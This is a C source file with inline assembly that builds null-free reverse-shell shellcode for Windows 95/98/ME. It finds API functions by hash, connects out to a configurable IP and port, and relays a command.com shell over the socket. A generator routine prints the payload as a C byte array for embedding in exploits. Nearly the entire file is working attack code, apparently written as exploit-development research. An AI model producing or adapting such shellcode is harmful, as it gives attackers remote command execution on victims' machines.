/* * Generic connectback9x shellcode for win32 * * Description: * * Connects to a specified IP:port and gives them a shell. * * Targets: * * 95/98/ME * * Usage: * * $ connectback9x.exe * Usage: connectback9x.exe [test | cstyle] * * To generate usable code: * * $ connectback9x.exe cstyle * * To test the code: * * $ connectback9x.exe test * * Run netcat on the remote machine before running the test. * * Features/Quirks: * * * No NULLs. * * References: * * * PEB lookup based largely on Dino Dai Zovi's peb resolver. * * Disclaimer: * * The author cannot be held responsible for how this code is used. * * Compile: * * cl connectback9x.c /link /debug * * skape * mmiller@hick.org */ /* * Technical notes * * Hash calculations: * * kernel32 * * LoadLibraryA -> ec0e4e8e * CreatePipe -> 170c8f80 * GetCurrentProcess -> 7b8f17e6 * DuplicateHandle -> bd566724 * CloseHandle -> 0ffd97fb * CreateProcessA -> 16b3fe72 * PeekNamedPipe -> b407c411 * ReadFile -> 10fa6516 * WriteFile -> e80a791f * Sleep -> db2d49b0 * ExitProcess -> 73e2d87e * * ws2_32 * * WSAStartup -> 3bfcedcb * WSASocketA -> adf509d9 * connect -> 60aaf9ec * ioctlsocket -> ede29208 * recv -> e71819b6 * send -> e97019a4 * * ebp+0x00 -> unused * ebp+0x04 -> absolute vma of find_function (rt determined) * ebp+0x08 -> scratch pad * ebp+0x0c -> command.com * * ebp+0x10 -> LoadLibraryA * ebp+0x14 -> CreatePipe * ebp+0x18 -> GetCurrentProcess * ebp+0x1c -> DuplicateHandle * ebp+0x20 -> CloseHandle * ebp+0x24 -> CreateProcessA * ebp+0x28 -> PeekNamedPipe * ebp+0x2c -> ReadFile * ebp+0x30 -> WriteFile * ebp+0x34 -> Sleep * ebp+0x38 -> ExitProcess * * ebp+0x40 -> WSAStartup * ebp+0x44 -> WSASocketA * ebp+0x48 -> connect * ebp+0x4c -> ioctlsocket * ebp+0x50 -> recv * ebp+0x54 -> send * * esi+0x04 -> client fd * esi+0x08 -> inRead * esi+0x0c -> inWrite * esi+0x10 -> outWrite * esi+0x14 -> outRead * esi+0x20 -> current process handle */ #include #pragma warning(disable: 4068) #define DEFAULT_IP 0x41414141 #define DEFAULT_PORT 0x4242 #define REMOTE_IP_OFFSET 0x1ad #define REMOTE_PORT_OFFSET 0x1b3 #define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+REMOTE_IP_OFFSET)) = (ip) #define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+REMOTE_PORT_OFFSET)) = (port) void __declspec(naked) connectback9x_begin() { __asm { entry: jmp startup #include "generic.c" startup: sub esp, 0x60 // Give us some room to work. mov ebp, esp // Use ebp as our frame pointer. call find_kernel32 // Find the base address of kernel32.dll mov edi, eax // Save it in edi shorten_find_function: jmp shorten_find_function_bnc // Jump to the bounce point shorten_find_function_rel: pop eax // Pop the return address sub eax, 0x6a // offset from shorten_find_function_end to find_function shorten_find_function_fixed: mov [ebp + 0x04], eax // Save the absolute address in ebp+0x04 jmp shorten_find_function_end // Jump to the end shorten_find_function_bnc: call shorten_find_function_rel // Call back to relative to get our VMA shorten_find_function_end: mov esi, [ebp + 0x04] // Quick reference for find function initialize_command_com: mov eax, 0x416d6f63 and eax, 0x92ffffff push eax push 0x2e646e61 push 0x6d6d6f63 mov [ebp + 0x0c], esp // Save the command.com pointer. resolve_symbols_kernel32: // edi -> kernel32.dll base // LoadLibraryA push 0xec0e4e8e push edi call esi mov [ebp + 0x10], eax // CreatePipe push 0x170c8f80 push edi call esi mov [ebp + 0x14], eax // GetCurrentProcess push 0x7b8f17e6 push edi call esi mov [ebp + 0x18], eax // DuplicateHandle push 0xbd566724 push edi call esi mov [ebp + 0x1c], eax // CloseHandle push 0x0ffd97fb push edi call esi mov [ebp + 0x20], eax // CreateProcessA push 0x16b3fe72 push edi call esi mov [ebp + 0x24], eax // PeekNamedPipe push 0xb407c411 push edi call esi mov [ebp + 0x28], eax // ReadFile push 0x10fa6516 push edi call esi mov [ebp + 0x2c], eax // WriteFile push 0xe80a791f push edi call esi mov [ebp + 0x30], eax // Sleep push 0xdb2d49b0 push edi call esi mov [ebp + 0x34], eax // ExitProcess push 0x73e2d87e push edi call esi mov [ebp + 0x38], eax resolve_symbols_ws2_32: // edi -> ws_32.dll base // Push 'ws2_32' xor eax, eax mov ax, 0x3233 push eax push 0x5f327377 // Call load library on ws2_32 push esp mov eax, [ebp + 0x10] call eax mov edi, eax // WSAStartup push 0x3bfcedcb push edi call esi mov [ebp + 0x40], eax // WSASocketA push 0xadf509d9 push edi call esi mov [ebp + 0x44], eax // connect push 0x60aaf9ec push edi call esi mov [ebp + 0x48], eax // ioctlsocket push 0xede29208 push edi call esi mov [ebp + 0x4c], eax // recv push 0xe71819b6 push edi call esi mov [ebp + 0x50], eax // send push 0xe97019a4 push edi call esi mov [ebp + 0x54], eax allocate_handle_space: sub esp, 0x30 // Allocate space for further storage mov esi, esp // Sub-frame pointer call [ebp + 0x18] // Get our current process handle mov [esi + 0x20], eax // Save it for later use initialize_winsock: xor eax, eax // Zero eax mov ax, 0x190 // Set eax to 0x190 (sizeof(WSADATA)) sub esp, eax // Allocate some space on the stack for it push esp // Push the stack address of WSADATA for storage mov ax, 0x0101 // Set eax for use as our version push eax // Push version 2.2 call [ebp + 0x40] // Call WSAStartup create_socket: xor eax, eax // Zero eax push eax // Flags push eax // Reserved. push eax // Protocol information. push eax // Default to TCP inc eax // SOCK_STREAM (1) push eax inc eax // AF_INET (2) push eax call [ebp + 0x44] // Call WSASocketA mov [esi + 0x04], eax // Save the client fd mov edi, eax // Save quick ref of client fd connect: xor ebx, ebx // Zero ebx push ebx // Push null push ebx // Push null push DEFAULT_IP // XXX: IP mov bx, DEFAULT_PORT // XXX: Port sal ebx, 16 // Shift the port left 16 bits mov bl, 0x2 // Put AF_INET in the lower 8 bits push ebx // Push sin_family/sin_port mov eax, esp // Grab the address of our sockaddr_in struct xor ebx, ebx // Zero ebx mov bl, 0x10 // Set our size to 16 push ebx // Size: 16 push eax // sockaddr_in pointer push edi // Client fd call [ebp + 0x48] // Call connect initialize_stdin: xor eax, eax // Zero eax push eax // nSize push eax // Security attributes lea ebx, [ebp + 0x08] // Load address for scratch pad inWriteTmp push ebx // Write handle lea ebx, [esi + 0x08] // Load address of inRead push ebx // Read handle call [ebp + 0x14] // Call CreatePipe duplicate_stdin: xor eax, eax // Zero eax mov al, 0x02 // DUPLICATE_SAME_ACCESS push eax // dwOptions xor eax, eax // Zero eax push eax // Inherit handle (FALSE) push eax // Desired access lea ebx, [esi + 0x0c] // Load address of inWrite push ebx // Target handle push [esi + 0x20] // Target process push [ebp + 0x08] // Source handle (inWriteTmp) push [esi + 0x20] // Source process call [ebp + 0x1c] // Call DuplicateHandle close_stdin_copy: push [ebp + 0x08] // inWriteTmp call [ebp + 0x20] // Call CloseHandle initialize_stdout: xor eax, eax // Zero eax push eax // nSize push eax // Security attributes lea ebx, [esi + 0x10] // Load address of outWrite push ebx // Read handle lea ebx, [ebp + 0x08] // Load address for scratch pad outReadTmp push ebx // Write handle call [ebp + 0x14] // Call CreatePipe duplicate_stdout: xor eax, eax // Zero eax mov al, 0x02 // DUPLICATE_SAME_ACCESS push eax // dwOptions xor eax, eax // Zero eax push eax // Inherit handle (FALSE) push eax // Desired access lea ebx, [esi + 0x14] // Load address of outRead push ebx // Target handle push [esi + 0x20] // Target process push [ebp + 0x08] // Source handle (inWriteTmp) push [esi + 0x20] // Source process call [ebp + 0x1c] // Call DuplicateHandle close_stdout_copy: push [ebp + 0x08] // outReadTmp call [ebp + 0x20] // Call CloseHandle initialize_process: xor ecx, ecx // Zero ecx mov cl, 0x54 // Set ecx to 0x54 sub esp, ecx // Make room for STARTUPINFO(0x44)/PROCESS_INFORMATION(0x16) mov edi, esp // Preserve in edi zero_structs: xor al, al // We want to store 0 rep stosb // Repeat storing zero until ecx is 0 initialize_startupinfo: mov edi, esp // Restore edi mov byte ptr [edi], 0x44 // cbSize -> 0x44 inc byte ptr [edi + 0x2c] // dwFlags -> | STARTF_USESHOWWINDOW (0x0001) inc byte ptr [edi + 0x2d] // dwFlags -> | STARTF_USESTDHANDLES (0x0100) mov edx, [esi + 0x08] // Put inRead in edx mov [edi + 0x38], edx // hStdInput -> inRead mov edx, [esi + 0x10] // Put outWrite in edx mov [edi + 0x3c], edx // hStdOutput -> outWrite mov [edi + 0x40], edx // hStdError -> outWrite execute_process: lea ebx, [edi + 0x44] // Load the address of our PROCESS_INFORMATION starting point xor eax, eax // Zero eax for use later push ebx // PROCESS_INFORMATION push edi // STARTUPINFO push eax // Startup Directory push eax // Environment mov al, 0x10 // CREATE_NEW_CONSOLE push eax // Creation flags xor al, al // Zero eax again inc eax push eax // Inherit handles (TRUE) dec eax push eax // Thread attributes push eax // Process attributes push [ebp + 0x0c] // Command line push eax // Module name call [ebp + 0x24] // Call CreateProcess allocate_raw_buffer: xor eax, eax // Zero eax mov ax, 0x010c // Set ax to 268 sub esp, eax // Allocate 268 bytes of stack space mov edi, esp // edi is our read loop stack frame pointer read_loop: read_from_fd_chk: lea eax, [edi] // Load the address from which to write our bytesRead push eax // bytesForRead push 0x4004667f // FIONREAD push [esi + 0x04] // Client fd call [ebp + 0x4c] // Call ioctlsocket mov eax, [edi] // Do we have any bytes for reading? test eax, eax // We're testing for zero bytes jz read_from_process_chk // It's zero, skip over reading from the fd read_from_fd_recv: xor eax, eax // Zero eax push eax // Flags mov ax, 0x104 // 260 bytes for reading push eax // Size lea eax, [edi + 0x04] // Load the address of our buffer to read into push eax // Buffer push [esi + 0x04] // Client fd call [ebp + 0x50] // Call recv test eax, eax // Check for zero byte read jz read_loop // If it's zero, just keep looping read_from_fd_write_chk: xor ecx, ecx // Zero ecx lea edx, [edi + 0x04] // Get the buffer offset read_from_fd_write_chk_loop: cmp ecx, eax // Have we reached the end? jg read_from_fd_write // Yes, jump out. cmp byte ptr [edx + ecx], 0x0a // Is this is \n? jne read_from_fd_write_chk_cont // Nope...keep going cmp byte ptr [edx + ecx - 1], 0x0d // Is there a \r before it? je read_from_fd_write_chk_cont // Yes, we're fine mov byte ptr [edx + ecx], 0x0d // Set the \n to a \r mov byte ptr [edx + ecx + 1], 0x0a // Set the last byte to \n inc eax // Adjust the bytes read by one jmp read_from_fd_write // No more checking needed read_from_fd_write_chk_cont: inc ecx // Go to the next byte jmp read_from_fd_write_chk_loop // Loop again read_from_fd_write: xor edx, edx // Zero edx push edx // Overlapped push edi // Bytes written push eax // Bytes to write lea edx, [edi + 0x04] // Load the address of our buffer push edx // Buffer push [esi + 0x0c] // inWrite handle call [ebp + 0x30] // Call WriteFile and fall through read_from_process_chk: xor eax, eax // Zero eax push eax // Bytes left in message push edi // Bytes available push eax // Bytes read push eax // Buffer size push eax // Buffer push [esi + 0x14] // outRead handle call [ebp + 0x28] // Call PeekNamedPipe test eax, eax // Make sure the return value is true jz sleep // It's not, we loop mov eax, [edi] // Grab the number of bytes available test eax, eax // Test to see if it's zero jz sleep // It's zero, we loop. read_from_process: xor ebx, ebx // Zero ebx push ebx // Overlapped push edi // Bytes read pointer xor eax, eax // Zero eax mov ax, 0x104 // 260 bytes for reading push eax // Bytes to read lea edx, [edi + 0x04] // Load the address of our buffer push edx // Buffer push [esi + 0x14] // outRead handle call [ebp + 0x2c] // Call ReadFile test eax, eax // Did it succeed? jz sleep // Nope mov eax, [edi] // Grab bytes read test eax, eax // Did it read zero bytes? jz sleep // Yup. read_from_process_write: xor ebx, ebx // Zero ebx push ebx // Flags push eax // Bytes to write lea eax, [edi + 0x04] // Load the address of our buffer push eax // Buffer push [esi + 0x04] // Client fd call [ebp + 0x54] // Call send and drop down sleep: xor eax, eax // Zero eax mov al, 0x64 // 100 ms push eax // Timeout call [ebp + 0x34] // Call Sleep jmp read_loop // Go again exit: call [ebp + 0x1c] // Call ExitProcess } } void __declspec(naked) connectback9x_end() { __asm ret } int main(int argc, char **argv) { if (argc == 1) { fprintf(stdout, "Usage: %s [test | cstyle]\n", argv[0]); return 0; } if (!strcmp(argv[1], "test")) connectback9x_begin(); else if (!strcmp(argv[1], "cstyle")) { unsigned char *start = (unsigned char *)((unsigned char *)connectback9x_begin); unsigned char *stop = (unsigned char *)((unsigned char *)connectback9x_end); unsigned char *c = NULL; unsigned long x = 0, length; // Calculate the actual address in memory of the begin/end function based off their relative jmp points. start += *(unsigned long *)((unsigned char *)connectback9x_begin + 1) + 5; stop += *(unsigned long *)((unsigned char *)connectback9x_end + 1) + 5; length = stop - start; fprintf(stdout, "// %lu byte connectback9x shellcode\n\n", length); fprintf(stdout, "#define SET_CONNECTBACK_IP(buf, ip) *(unsigned long *)(((buf)+%d)) = (ip)\n", REMOTE_IP_OFFSET); fprintf(stdout, "#define SET_CONNECTBACK_PORT(buf, port) *(unsigned short *)(((buf)+%d)) = (port)\n\n", REMOTE_PORT_OFFSET); fprintf(stdout, "unsigned char connectback9x[] = \""); for (c = start; x < length; x++) fprintf(stdout, "\\x%2.2x", c[x]); fprintf(stdout, "\";\n\n"); } else fprintf(stdout, "%s: invalid option\n", argv[0]); return 1; }